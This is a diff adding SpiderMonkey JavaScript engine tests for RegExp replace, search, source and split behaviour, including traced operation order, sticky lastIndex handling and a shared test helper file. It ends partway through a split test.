diff --git a/js/src/tests/non262/RegExp/replace-local-tolength-recompilation.js b/js/src/tests/non262/RegExp/replace-local-tolength-recompilation.js
new file mode 100644
index 0000000000..e03177286f
--- /dev/null
+++ b/js/src/tests/non262/RegExp/replace-local-tolength-recompilation.js
@@ -0,0 +1,75 @@
+// Side-effects when calling ToLength(regExp.lastIndex) in
+// RegExp.prototype[@@replace] for non-global RegExp can recompile the RegExp.
+
+for (var flag of ["", "y"]) {
+ var regExp = new RegExp("a", flag);
+
+ regExp.lastIndex = {
+ valueOf() {
+ regExp.compile("b");
+ return 0;
+ }
+ };
+
+ var result = regExp[Symbol.replace]("b", "pass");
+ assertEq(result, "pass");
+}
+
+// Recompilation modifies flag:
+// Case 1: Adds global flag, validate by checking lastIndex.
+var regExp = new RegExp("a", "");
+regExp.lastIndex = {
+ valueOf() {
+ // |regExp| is now in global mode, RegExpBuiltinExec should update the
+ // lastIndex property to reflect last match.
+ regExp.compile("a", "g");
+ return 0;
+ }
+};
+regExp[Symbol.replace]("a", "");
+assertEq(regExp.lastIndex, 1);
+
+// Case 2: Removes sticky flag with match, validate by checking lastIndex.
+var regExp = new RegExp("a", "y");
+regExp.lastIndex = {
+ valueOf() {
+ // |regExp| is no longer sticky, RegExpBuiltinExec shouldn't modify the
+ // lastIndex property.
+ regExp.compile("a", "");
+ regExp.lastIndex = 9000;
+ return 0;
+ }
+};
+regExp[Symbol.replace]("a", "");
+assertEq(regExp.lastIndex, 9000);
+
+// Case 3.a: Removes sticky flag without match, validate by checking lastIndex.
+var regExp = new RegExp("a", "y");
+regExp.lastIndex = {
+ valueOf() {
+ // |regExp| is no longer sticky, RegExpBuiltinExec shouldn't modify the
+ // lastIndex property.
+ regExp.compile("b", "");
+ regExp.lastIndex = 9001;
+ return 0;
+ }
+};
+regExp[Symbol.replace]("a", "");
+assertEq(regExp.lastIndex, 9001);
+
+// Case 3.b: Removes sticky flag without match, validate by checking lastIndex.
+var regExp = new RegExp("a", "y");
+regExp.lastIndex = {
+ valueOf() {
+ // |regExp| is no longer sticky, RegExpBuiltinExec shouldn't modify the
+ // lastIndex property.
+ regExp.compile("b", "");
+ regExp.lastIndex = 9002;
+ return 10000;
+ }
+};
+regExp[Symbol.replace]("a", "");
+assertEq(regExp.lastIndex, 9002);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/replace-sticky-lastIndex.js b/js/src/tests/non262/RegExp/replace-sticky-lastIndex.js
new file mode 100644
index 0000000000..2500b2c42d
--- /dev/null
+++ b/js/src/tests/non262/RegExp/replace-sticky-lastIndex.js
@@ -0,0 +1,23 @@
+var BUGNUMBER = 887016;
+var summary = "String.prototype.replace should do nothing if lastIndex is invalid for sticky RegExp";
+
+print(BUGNUMBER + ": " + summary);
+
+var re = /a/y;
+re.lastIndex = -1;
+assertEq("a".replace(re, "b"), "b");
+re.lastIndex = 0;
+assertEq("a".replace(re, "b"), "b");
+re.lastIndex = 1;
+assertEq("a".replace(re, "b"), "a");
+re.lastIndex = 2;
+assertEq("a".replace(re, "b"), "a");
+re.lastIndex = "foo";
+assertEq("a".replace(re, "b"), "b");
+re.lastIndex = "1";
+assertEq("a".replace(re, "b"), "a");
+re.lastIndex = {};
+assertEq("a".replace(re, "b"), "b");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/replace-sticky.js b/js/src/tests/non262/RegExp/replace-sticky.js
new file mode 100644
index 0000000000..32a6e2aee0
--- /dev/null
+++ b/js/src/tests/non262/RegExp/replace-sticky.js
@@ -0,0 +1,21 @@
+var BUGNUMBER = 887016;
+var summary = "String.prototype.replace should use and update lastIndex if sticky flag is set";
+
+print(BUGNUMBER + ": " + summary);
+
+var input = "abcdeabcdeabcdefghij";
+var re = new RegExp("abcde", "y");
+re.test(input);
+assertEq(re.lastIndex, 5);
+var ret = input.replace(re, "ABCDE");
+assertEq(ret, "abcdeABCDEabcdefghij");
+assertEq(re.lastIndex, 10);
+ret = input.replace(re, "ABCDE");
+assertEq(ret, "abcdeabcdeABCDEfghij");
+assertEq(re.lastIndex, 15);
+ret = input.replace(re, "ABCDE");
+assertEq(ret, "abcdeabcdeabcdefghij");
+assertEq(re.lastIndex, 0);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/replace-this.js b/js/src/tests/non262/RegExp/replace-this.js
new file mode 100644
index 0000000000..499304f9c0
--- /dev/null
+++ b/js/src/tests/non262/RegExp/replace-this.js
@@ -0,0 +1,12 @@
+var BUGNUMBER = 887016;
+var summary = "RegExp.prototype[@@replace] should check |this| value.";
+
+print(BUGNUMBER + ": " + summary);
+
+for (var v of [null, 1, true, undefined, "", Symbol.iterator]) {
+ assertThrowsInstanceOf(() => RegExp.prototype[Symbol.replace].call(v),
+ TypeError);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/replace-trace.js b/js/src/tests/non262/RegExp/replace-trace.js
new file mode 100644
index 0000000000..8ddf0990e0
--- /dev/null
+++ b/js/src/tests/non262/RegExp/replace-trace.js
@@ -0,0 +1,299 @@
+var BUGNUMBER = 887016;
+var summary = "Trace RegExp.prototype[@@replace] behavior.";
+
+print(BUGNUMBER + ": " + summary);
+
+var n;
+var log;
+var target;
+var global;
+var unicode;
+
+var execResult;
+var lastIndexResult;
+var lastIndexExpected;
+
+var arraySetterObserved = false;
+function startObserve() {
+ for (var i = 0; i < 10; i++) {
+ Object.defineProperty(Array.prototype, i, {
+ set: function(v) {
+ arraySetterObserved = true;
+ },
+ configurable: true,
+ });
+ }
+}
+function stopObserve() {
+ for (var i = 0; i < 10; i++)
+ delete Array.prototype[i]
+}
+
+startObserve();
+
+function P(A, index, matched2) {
+ var i = 0;
+ A.index = index;
+ return new Proxy(A, {
+ get(that, name) {
+ log += "get:result[" + name + "],";
+
+ // Return a different value for 2nd access to result[0].
+ if (matched2 !== undefined && name == 0) {
+ if (i == 1) {
+ return matched2;
+ }
+ i++;
+ }
+
+ return that[name];
+ }
+ });
+}
+
+var myRegExp = {
+ get flags() {
+ log += "get:flags,";
+ var flags = "";
+ if (global) flags += "g";
+ if (unicode) flags += "u";
+ return flags;
+ },
+ get lastIndex() {
+ log += "get:lastIndex,";
+ return lastIndexResult[n];
+ },
+ set lastIndex(v) {
+ log += "set:lastIndex,";
+ assertEq(v, lastIndexExpected[n]);
+ },
+ get exec() {
+ log += "get:exec,";
+ return function(S) {
+ log += "call:exec,";
+ assertEq(S, target);
+ return execResult[n++];
+ };
+ },
+};
+
+function reset() {
+ n = 0;
+ log = "";
+ target = "abcAbcABC";
+ global = true;
+ unicode = false;
+ arraySetterObserved = false;
+}
+
+// Trace global with non-empty match.
+reset();
+execResult = [ P(["bc"], 1), null ];
+lastIndexResult = [ , , ];
+lastIndexExpected = [ 0, , ];
+var ret = RegExp.prototype[Symbol.replace].call(myRegExp, target, "_XYZ_");
+assertEq(arraySetterObserved, false);
+assertEq(ret, "a_XYZ_AbcABC");
+assertEq(log,
+ "get:flags," +
+ "set:lastIndex," +
+ "get:exec,call:exec," +
+ "get:result[0]," +
+ "get:exec,call:exec," +
+ "get:result[length],get:result[0],get:result[index],get:result[groups],");
+
+// Trace global with empty match.
+reset();
+execResult = [ P([""], 1), null ];
+lastIndexResult = [ , 5, ];
+lastIndexExpected = [ 0, 6, ];
+ret = RegExp.prototype[Symbol.replace].call(myRegExp, target, "_XYZ_");
+assertEq(arraySetterObserved, false);
+assertEq(ret, "a_XYZ_bcAbcABC");
+assertEq(log,
+ "get:flags," +
+ "set:lastIndex," +
+ "get:exec,call:exec," +
+ "get:result[0]," +
+ "get:lastIndex,set:lastIndex," +
+ "get:exec,call:exec," +
+ "get:result[length],get:result[0],get:result[index],get:result[groups],");
+
+// Trace global and unicode with empty match.
+// 1. not surrogate pair
+// 2. lead surrogate pair
+// 3. trail surrogate pair
+// 4. lead surrogate pair without trail surrogate pair
+// 5. index overflow
+reset();
+unicode = true;
+// 0123 4 5678
+target = "---\uD83D\uDC38---\uD83D";
+execResult = [ P([""], 1), P([""], 2), P([""], 3), P([""], 4), P([""], 5), null ];
+lastIndexResult = [ , 2, 3, 4, 8, 9, ];
+lastIndexExpected = [ 0, 3, 5, 5, 9, 10, ];
+ret = RegExp.prototype[Symbol.replace].call(myRegExp, target, "_XYZ_");
+assertEq(arraySetterObserved, false);
+assertEq(ret, "-_XYZ_-_XYZ_-_XYZ_\uD83D_XYZ_\uDC38_XYZ_---\uD83D");
+assertEq(log,
+ "get:flags," +
+ "set:lastIndex," +
+ "get:exec,call:exec," +
+ "get:result[0]," +
+ "get:lastIndex,set:lastIndex," +
+ "get:exec,call:exec," +
+ "get:result[0]," +
+ "get:lastIndex,set:lastIndex," +
+ "get:exec,call:exec," +
+ "get:result[0]," +
+ "get:lastIndex,set:lastIndex," +
+ "get:exec,call:exec," +
+ "get:result[0]," +
+ "get:lastIndex,set:lastIndex," +
+ "get:exec,call:exec," +
+ "get:result[0]," +
+ "get:lastIndex,set:lastIndex," +
+ "get:exec,call:exec," +
+ "get:result[length],get:result[0],get:result[index],get:result[groups]," +
+ "get:result[length],get:result[0],get:result[index],get:result[groups]," +
+ "get:result[length],get:result[0],get:result[index],get:result[groups]," +
+ "get:result[length],get:result[0],get:result[index],get:result[groups]," +
+ "get:result[length],get:result[0],get:result[index],get:result[groups],");
+
+// Trace global with captures and substitutions.
+reset();
+execResult = [ P(["bc", "b", "c"], 1), null ];
+lastIndexResult = [ , , ];
+lastIndexExpected = [ 0, , ];
+ret = RegExp.prototype[Symbol.replace].call(myRegExp, target, "[$&,$`,$',$1,$2,$3,$]");
+assertEq(arraySetterObserved, false);
+assertEq(ret, "a[bc,a,AbcABC,b,c,$3,$]AbcABC");
+assertEq(log,
+ "get:flags," +
+ "set:lastIndex," +
+ "get:exec,call:exec," +
+ "get:result[0]," +
+ "get:exec,call:exec," +
+ "get:result[length],get:result[0],get:result[index]," +
+ "get:result[1],get:result[2],get:result[groups],");
+
+// Trace global with empty match and captures and substitutions,
+// with different matched.
+reset();
+execResult = [ P(["", "b", "c"], 1, "BC"), null ];
+lastIndexResult = [ , 5, ];
+lastIndexExpected = [ 0, 6, ];
+ret = RegExp.prototype[Symbol.replace].call(myRegExp, target, "[$&,$`,$',$1,$2,$3,$]");
+assertEq(arraySetterObserved, false);
+assertEq(ret, "a[BC,a,AbcABC,b,c,$3,$]AbcABC");
+assertEq(log,
+ "get:flags," +
+ "set:lastIndex," +
+ "get:exec,call:exec," +
+ "get:result[0]," +
+ "get:lastIndex,set:lastIndex," +
+ "get:exec,call:exec," +
+ "get:result[length],get:result[0],get:result[index]," +
+ "get:result[1],get:result[2],get:result[groups],");
+
+// Trace global with empty match and captures and function,
+// with different matched.
+reset();
+execResult = [ P(["", "b", "c"], 1, "BC"), null ];
+lastIndexResult = [ , 5, ];
+lastIndexExpected = [ 0, 6, ];
+function replaceFunc(...args) {
+ log += "call:replaceFunc,";
+ assertEq(args.length, 5);
+ assertEq(args[0], "BC");
+ assertEq(args[1], "b");
+ assertEq(args[2], "c");
+ assertEq(args[3], 1);
+ assertEq(args[4], target);
+ return "_ret_";
+}
+// This also tests RegExpStatics save/restore with no match.
+ret = RegExp.prototype[Symbol.replace].call(myRegExp, target, replaceFunc);
+assertEq(arraySetterObserved, false);
+assertEq(ret, "a_ret_AbcABC");
+assertEq(log,
+ "get:flags," +
+ "set:lastIndex," +
+ "get:exec,call:exec," +
+ "get:result[0]," +
+ "get:lastIndex,set:lastIndex," +
+ "get:exec,call:exec," +
+ "get:result[length],get:result[0],get:result[index]," +
+ "get:result[1],get:result[2],get:result[groups]," +
+ "call:replaceFunc,");
+
+// Trace global with non-empty match, move backwards.
+// 2nd match shouldn't be replaced.
+reset();
+execResult = [ P(["X"], 5), P(["YZ"], 1), null ];
+lastIndexResult = [ , , , ];
+lastIndexExpected = [ 0, , , ];
+ret = RegExp.prototype[Symbol.replace].call(myRegExp, target, "_XYZ_");
+assertEq(arraySetterObserved, false);
+assertEq(ret, "abcAb_XYZ_ABC");
+assertEq(log,
+ "get:flags," +
+ "set:lastIndex," +
+ "get:exec,call:exec," +
+ "get:result[0]," +
+ "get:exec,call:exec," +
+ "get:result[0]," +
+ "get:exec,call:exec," +
+ "get:result[length],get:result[0],get:result[index],get:result[groups]," +
+ "get:result[length],get:result[0],get:result[index],get:result[groups],");
+
+// Trace global with non-empty match, position + matchLength overflows.
+reset();
+execResult = [ P(["fooooooo"], 7), null ];
+lastIndexResult = [ , , ];
+lastIndexExpected = [ 0, , ];
+ret = RegExp.prototype[Symbol.replace].call(myRegExp, target, "_XYZ_");
+assertEq(arraySetterObserved, false);
+assertEq(ret, "abcAbcA_XYZ_");
+assertEq(log,
+ "get:flags," +
+ "set:lastIndex," +
+ "get:exec,call:exec," +
+ "get:result[0]," +
+ "get:exec,call:exec," +
+ "get:result[length],get:result[0],get:result[index],get:result[groups],");
+
+// Trace global with non-empty match, position overflows.
+reset();
+execResult = [ P(["fooooooo"], 12), null ];
+lastIndexResult = [ , , ];
+lastIndexExpected = [ 0, , ];
+ret = RegExp.prototype[Symbol.replace].call(myRegExp, target, "_XYZ_");
+assertEq(arraySetterObserved, false);
+assertEq(ret, "abcAbcABC_XYZ_");
+assertEq(log,
+ "get:flags," +
+ "set:lastIndex," +
+ "get:exec,call:exec," +
+ "get:result[0]," +
+ "get:exec,call:exec," +
+ "get:result[length],get:result[0],get:result[index],get:result[groups],");
+
+// Trace non-global.
+reset();
+global = false;
+execResult = [ P(["bc"], 1) ];
+lastIndexResult = [ , , ];
+lastIndexExpected = [ 0, , ];
+ret = RegExp.prototype[Symbol.replace].call(myRegExp, target, "_XYZ_");
+assertEq(arraySetterObserved, false);
+assertEq(ret, "a_XYZ_AbcABC");
+assertEq(log,
+ "get:flags," +
+ "get:exec,call:exec," +
+ "get:result[length],get:result[0],get:result[index],get:result[groups],");
+
+stopObserve();
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/replace-twoBytes.js b/js/src/tests/non262/RegExp/replace-twoBytes.js
new file mode 100644
index 0000000000..660677c9f1
--- /dev/null
+++ b/js/src/tests/non262/RegExp/replace-twoBytes.js
@@ -0,0 +1,44 @@
+var BUGNUMBER = 1269719;
+var summary = "RegExp.prototype[@@replace] should check latin1/twoBytes for all strings used in relate operation.";
+
+print(BUGNUMBER + ": " + summary);
+
+var ans = [
+ "[AB$2$3$]",
+ "[AB$2$3$]\u3048",
+ "[AB$2$3$]",
+ "[AB$2$3$]\u3048",
+ "[A\u3044$2$3$]",
+ "[A\u3044$2$3$]\u3048",
+ "[A\u3044$2$3$]",
+ "[A\u3044$2$3$]\u3048",
+ "[\u3042B$2$3$]",
+ "[\u3042B$2$3$]\u3048",
+ "[\u3042B$2$3$]",
+ "[\u3042B$2$3$]\u3048",
+ "[\u3042\u3044$2$3$]",
+ "[\u3042\u3044$2$3$]\u3048",
+ "[\u3042\u3044$2$3$]",
+ "[\u3042\u3044$2$3$]\u3048",
+];
+var i = 0;
+for (var matched of ["A", "\u3042"]) {
+ for (var group1 of ["B", "\u3044"]) {
+ for (var string of ["C", "\u3046"]) {
+ for (var replacement of ["[$&$`$'$1$2$3$]", "[$&$`$'$1$2$3$]\u3048"]) {
+ var myRegExp = {
+ get exec() {
+ return function() {
+ return [matched, group1];
+ };
+ }
+ };
+ assertEq(RegExp.prototype[Symbol.replace].call(myRegExp, string, replacement), ans[i]);
+ i++;
+ }
+ }
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/replace.js b/js/src/tests/non262/RegExp/replace.js
new file mode 100644
index 0000000000..304531a5df
--- /dev/null
+++ b/js/src/tests/non262/RegExp/replace.js
@@ -0,0 +1,34 @@
+var BUGNUMBER = 887016;
+var summary = "Implement RegExp.prototype[@@replace].";
+
+print(BUGNUMBER + ": " + summary);
+
+assertEq(RegExp.prototype[Symbol.replace].name, "[Symbol.replace]");
+assertEq(RegExp.prototype[Symbol.replace].length, 2);
+var desc = Object.getOwnPropertyDescriptor(RegExp.prototype, Symbol.replace);
+assertEq(desc.configurable, true);
+assertEq(desc.enumerable, false);
+assertEq(desc.writable, true);
+
+var re = /a/;
+var v = re[Symbol.replace]("abcAbcABC", "X");
+assertEq(v, "XbcAbcABC");
+
+re = /d/;
+v = re[Symbol.replace]("abcAbcABC", "X");
+assertEq(v, "abcAbcABC");
+
+re = /a/ig;
+v = re[Symbol.replace]("abcAbcABC", "X");
+assertEq(v, "XbcXbcXBC");
+
+re = /(a)(b)(cd)/;
+v = re[Symbol.replace]("012abcd345", "_$$_$&_$`_$'_$0_$1_$2_$3_$4_$+_$");
+assertEq(v, "012_$_abcd_012_345_$0_a_b_cd_$4_$+_$345");
+
+re = /(a)(b)(cd)/;
+v = re[Symbol.replace]("012abcd345", "_\u3042_$$_$&_$`_$'_$0_$1_$2_$3_$4_$+_$");
+assertEq(v, "012_\u3042_$_abcd_012_345_$0_a_b_cd_$4_$+_$345");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/search-this.js b/js/src/tests/non262/RegExp/search-this.js
new file mode 100644
index 0000000000..731f5480fa
--- /dev/null
+++ b/js/src/tests/non262/RegExp/search-this.js
@@ -0,0 +1,12 @@
+var BUGNUMBER = 887016;
+var summary = "RegExp.prototype[@@search] should check this value.";
+
+print(BUGNUMBER + ": " + summary);
+
+for (var v of [null, 1, true, undefined, "", Symbol.iterator]) {
+ assertThrowsInstanceOf(() => RegExp.prototype[Symbol.search].call(v),
+ TypeError);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/search-trace.js b/js/src/tests/non262/RegExp/search-trace.js
new file mode 100644
index 0000000000..fc6bee754c
--- /dev/null
+++ b/js/src/tests/non262/RegExp/search-trace.js
@@ -0,0 +1,78 @@
+var BUGNUMBER = 887016;
+var summary = "Trace RegExp.prototype[@@search] behavior.";
+
+print(BUGNUMBER + ": " + summary);
+
+var n;
+var log;
+var target;
+
+var execResult;
+var lastIndexResult;
+var lastIndexExpected;
+
+function P(index) {
+ return new Proxy({ index }, {
+ get(that, name) {
+ log += "get:result[" + name + "],";
+ return that[name];
+ }
+ });
+}
+
+var myRegExp = {
+ get lastIndex() {
+ log += "get:lastIndex,";
+ return lastIndexResult[n];
+ },
+ set lastIndex(v) {
+ log += "set:lastIndex,";
+ assertEq(v, lastIndexExpected[n]);
+ },
+ get exec() {
+ log += "get:exec,";
+ return function(S) {
+ log += "call:exec,";
+ assertEq(S, target);
+ return execResult[n++];
+ };
+ },
+};
+
+function reset() {
+ n = 0;
+ log = "";
+ target = "abcAbcABC";
+}
+
+// Trace hit.
+reset();
+execResult = [ P(16) ];
+lastIndexResult = [ 10, , ];
+lastIndexExpected = [ 0, 10 ];
+var ret = RegExp.prototype[Symbol.search].call(myRegExp, target);
+assertEq(ret, 16);
+assertEq(log,
+ "get:lastIndex," +
+ "set:lastIndex," +
+ "get:exec,call:exec," +
+ "get:lastIndex," +
+ "set:lastIndex," +
+ "get:result[index],");
+
+// Trace not hit.
+reset();
+execResult = [ null ];
+lastIndexResult = [ 10, , ];
+lastIndexExpected = [ 0, 10 ];
+ret = RegExp.prototype[Symbol.search].call(myRegExp, target);
+assertEq(ret, -1);
+assertEq(log,
+ "get:lastIndex," +
+ "set:lastIndex," +
+ "get:exec,call:exec," +
+ "get:lastIndex," +
+ "set:lastIndex,");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/search.js b/js/src/tests/non262/RegExp/search.js
new file mode 100644
index 0000000000..0875ee47ed
--- /dev/null
+++ b/js/src/tests/non262/RegExp/search.js
@@ -0,0 +1,26 @@
+var BUGNUMBER = 887016;
+var summary = "Implement RegExp.prototype[@@search].";
+
+print(BUGNUMBER + ": " + summary);
+
+assertEq(RegExp.prototype[Symbol.search].name, "[Symbol.search]");
+assertEq(RegExp.prototype[Symbol.search].length, 1);
+var desc = Object.getOwnPropertyDescriptor(RegExp.prototype, Symbol.search);
+assertEq(desc.configurable, true);
+assertEq(desc.enumerable, false);
+assertEq(desc.writable, true);
+
+var re = /B/;
+var v = re[Symbol.search]("abcAbcABC");
+assertEq(v, 7);
+
+re = /B/i;
+v = re[Symbol.search]("abcAbcABCD");
+assertEq(v, 1);
+
+re = /d/;
+v = re[Symbol.search]("abcAbcABCD");
+assertEq(v, -1);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/shell.js b/js/src/tests/non262/RegExp/shell.js
new file mode 100644
index 0000000000..8d52ad35df
--- /dev/null
+++ b/js/src/tests/non262/RegExp/shell.js
@@ -0,0 +1,256 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 07 February 2001
+ *
+ * Functionality common to RegExp testing -
+ */
+//-----------------------------------------------------------------------------
+
+(function(global) {
+
+ var MSG_PATTERN = '\nregexp = ';
+ var MSG_STRING = '\nstring = ';
+ var MSG_EXPECT = '\nExpect: ';
+ var MSG_ACTUAL = '\nActual: ';
+ var ERR_LENGTH = '\nERROR !!! match arrays have different lengths:';
+ var ERR_MATCH = '\nERROR !!! regexp failed to give expected match array:';
+ var ERR_NO_MATCH = '\nERROR !!! regexp FAILED to match anything !!!';
+ var ERR_UNEXP_MATCH = '\nERROR !!! regexp MATCHED when we expected it to fail !!!';
+ var CHAR_LBRACKET = '[';
+ var CHAR_RBRACKET = ']';
+ var CHAR_QT_DBL = '"';
+ var CHAR_QT = "'";
+ var CHAR_NL = '\n';
+ var CHAR_COMMA = ',';
+ var CHAR_SPACE = ' ';
+ var TYPE_STRING = typeof 'abc';
+
+
+
+ global.testRegExp = function testRegExp(statuses, patterns, strings, actualmatches, expectedmatches)
+ {
+ var status = '';
+ var pattern = new RegExp();
+ var string = '';
+ var actualmatch = new Array();
+ var expectedmatch = new Array();
+ var state = '';
+ var lActual = -1;
+ var lExpect = -1;
+
+
+ for (var i=0; i != patterns.length; i++)
+ {
+ status = statuses[i];
+ pattern = patterns[i];
+ string = strings[i];
+ actualmatch=actualmatches[i];
+ expectedmatch=expectedmatches[i];
+ state = getState(status, pattern, string);
+
+ description = status;
+
+ if(actualmatch)
+ {
+ actual = formatArray(actualmatch);
+ if(expectedmatch)
+ {
+ // expectedmatch and actualmatch are arrays -
+ lExpect = expectedmatch.length;
+ lActual = actualmatch.length;
+
+ var expected = formatArray(expectedmatch);
+
+ if (lActual != lExpect)
+ {
+ reportCompare(lExpect, lActual,
+ state + ERR_LENGTH +
+ MSG_EXPECT + expected +
+ MSG_ACTUAL + actual +
+ CHAR_NL
+ );
+ continue;
+ }
+
+ // OK, the arrays have same length -
+ if (expected != actual)
+ {
+ reportCompare(expected, actual,
+ state + ERR_MATCH +
+ MSG_EXPECT + expected +
+ MSG_ACTUAL + actual +
+ CHAR_NL
+ );
+ }
+ else
+ {
+ reportCompare(expected, actual, state)
+ }
+
+ }
+ else //expectedmatch is null - that is, we did not expect a match -
+ {
+ expected = expectedmatch;
+ reportCompare(expected, actual,
+ state + ERR_UNEXP_MATCH +
+ MSG_EXPECT + expectedmatch +
+ MSG_ACTUAL + actual +
+ CHAR_NL
+ );
+ }
+
+ }
+ else // actualmatch is null
+ {
+ if (expectedmatch)
+ {
+ actual = actualmatch;
+ reportCompare(expected, actual,
+ state + ERR_NO_MATCH +
+ MSG_EXPECT + expectedmatch +
+ MSG_ACTUAL + actualmatch +
+ CHAR_NL
+ );
+ }
+ else // we did not expect a match
+ {
+ // Being ultra-cautious. Presumably expectedmatch===actualmatch===null
+ expected = expectedmatch;
+ actual = actualmatch;
+ reportCompare (expectedmatch, actualmatch, state);
+ }
+ }
+ }
+ }
+
+ function getState(status, pattern, string)
+ {
+ /*
+ * Escape \n's, etc. to make them LITERAL in the presentation string.
+ * We don't have to worry about this in |pattern|; such escaping is
+ * done automatically by pattern.toString(), invoked implicitly below.
+ *
+ * One would like to simply do: string = string.replace(/(\s)/g, '\$1').
+ * However, the backreference $1 is not a literal string value,
+ * so this method doesn't work.
+ *
+ * Also tried string = string.replace(/(\s)/g, escape('$1'));
+ * but this just inserts the escape of the literal '$1', i.e. '%241'.
+ */
+ string = string.replace(/\n/g, '\\n');
+ string = string.replace(/\r/g, '\\r');
+ string = string.replace(/\t/g, '\\t');
+ string = string.replace(/\v/g, '\\v');
+ string = string.replace(/\f/g, '\\f');
+
+ return (status + MSG_PATTERN + pattern + MSG_STRING + singleQuote(string));
+ }
+
+
+
+ /*
+ * If available, arr.toSource() gives more detail than arr.toString()
+ *
+ * var arr = Array(1,2,'3');
+ *
+ * arr.toSource()
+ * [1, 2, "3"]
+ *
+ * arr.toString()
+ * 1,2,3
+ *
+ * But toSource() doesn't exist in Rhino, so use our own imitation, below -
+ *
+ */
+ function formatArray(arr)
+ {
+ try
+ {
+ return arr.toSource();
+ }
+ catch(e)
+ {
+ return toSource(arr);
+ }
+ }
+
+
+ /*
+ * Imitate SpiderMonkey's arr.toSource() method:
+ *
+ * a) Double-quote each array element that is of string type
+ * b) Represent |undefined| and |null| by empty strings
+ * c) Delimit elements by a comma + single space
+ * d) Do not add delimiter at the end UNLESS the last element is |undefined|
+ * e) Add square brackets to the beginning and end of the string
+ */
+ function toSource(arr)
+ {
+ var delim = CHAR_COMMA + CHAR_SPACE;
+ var elt = '';
+ var ret = '';
+ var len = arr.length;
+
+ for (i=0; i<len; i++)
+ {
+ elt = arr[i];
+
+ switch(true)
+ {
+ case (typeof elt === TYPE_STRING) :
+ ret += doubleQuote(elt);
+ break;
+
+ case (elt === undefined || elt === null) :
+ break; // add nothing but the delimiter, below -
+
+ default:
+ ret += elt.toString();
+ }
+
+ if ((i < len-1) || (elt === undefined))
+ ret += delim;
+ }
+
+ return CHAR_LBRACKET + ret + CHAR_RBRACKET;
+ }
+
+
+ function doubleQuote(text)
+ {
+ return CHAR_QT_DBL + text + CHAR_QT_DBL;
+ }
+
+
+ function singleQuote(text)
+ {
+ return CHAR_QT + text + CHAR_QT;
+ }
+
+ global.makeExpectedMatch = function makeExpectedMatch(arr, index, input) {
+ var expectedMatch = {
+ index: index,
+ input: input,
+ length: arr.length,
+ };
+
+ for (var i = 0; i < arr.length; ++i)
+ expectedMatch[i] = arr[i];
+
+ return expectedMatch;
+ }
+
+ global.checkRegExpMatch = function checkRegExpMatch(actual, expected) {
+ assertEq(actual.length, expected.length);
+ for (var i = 0; i < actual.length; ++i)
+ assertEq(actual[i], expected[i]);
+
+ assertEq(actual.index, expected.index);
+ assertEq(actual.input, expected.input);
+ }
+
+})(this);
diff --git a/js/src/tests/non262/RegExp/source.js b/js/src/tests/non262/RegExp/source.js
new file mode 100644
index 0000000000..354a9d19de
--- /dev/null
+++ b/js/src/tests/non262/RegExp/source.js
@@ -0,0 +1,29 @@
+var BUGNUMBER = 1120169;
+var summary = "Implement RegExp.prototype.source";
+
+print(BUGNUMBER + ": " + summary);
+
+assertEq(RegExp.prototype.source, "(?:)");
+assertEq(/foo/.source, "foo");
+assertEq(/foo/iymg.source, "foo");
+assertEq(/\//.source, "\\/");
+assertEq(/\n\r/.source, "\\n\\r");
+assertEq(/\u2028\u2029/.source, "\\u2028\\u2029");
+assertEq(RegExp("").source, "(?:)");
+assertEq(RegExp("", "mygi").source, "(?:)");
+assertEq(RegExp("/").source, "\\/");
+assertEq(RegExp("\n\r").source, "\\n\\r");
+assertEq(RegExp("\u2028\u2029").source, "\\u2028\\u2029");
+
+assertThrowsInstanceOf(() => genericSource(), TypeError);
+assertThrowsInstanceOf(() => genericSource(1), TypeError);
+assertThrowsInstanceOf(() => genericSource(""), TypeError);
+assertThrowsInstanceOf(() => genericSource({}), TypeError);
+assertThrowsInstanceOf(() => genericSource(new Proxy(/foo/, {get(){ return true; }})), TypeError);
+
+function genericSource(obj) {
+ return Object.getOwnPropertyDescriptor(RegExp.prototype, "source").get.call(obj);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/split-deleted-flags.js b/js/src/tests/non262/RegExp/split-deleted-flags.js
new file mode 100644
index 0000000000..d2ccc852d1
--- /dev/null
+++ b/js/src/tests/non262/RegExp/split-deleted-flags.js
@@ -0,0 +1,11 @@
+var BUGNUMBER = 1322319;
+var summary = "RegExp.prototype.split should throw if RegRxp.prototype.flags is deleted."
+
+print(BUGNUMBER + ": " + summary);
+
+delete RegExp.prototype.flags;
+
+assertThrowsInstanceOf(() => "aaaaa".split(/a/), SyntaxError);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/split-flags-on-obj.js b/js/src/tests/non262/RegExp/split-flags-on-obj.js
new file mode 100644
index 0000000000..8c68efed57
--- /dev/null
+++ b/js/src/tests/non262/RegExp/split-flags-on-obj.js
@@ -0,0 +1,21 @@
+var BUGNUMBER = 0;
+var summary = "RegExp.prototype.split should reflect the change to Object.prototype.flags.";
+
+print(BUGNUMBER + ": " + summary);
+
+Object.defineProperty(Object.prototype, "flags", Object.getOwnPropertyDescriptor(RegExp.prototype, "flags"));
+delete RegExp.prototype.flags;
+
+let re = /a/i;
+let a = re[Symbol.split]("1a2A3a4A5");
+assertDeepEq(a, ["1", "2", "3", "4", "5"]);
+
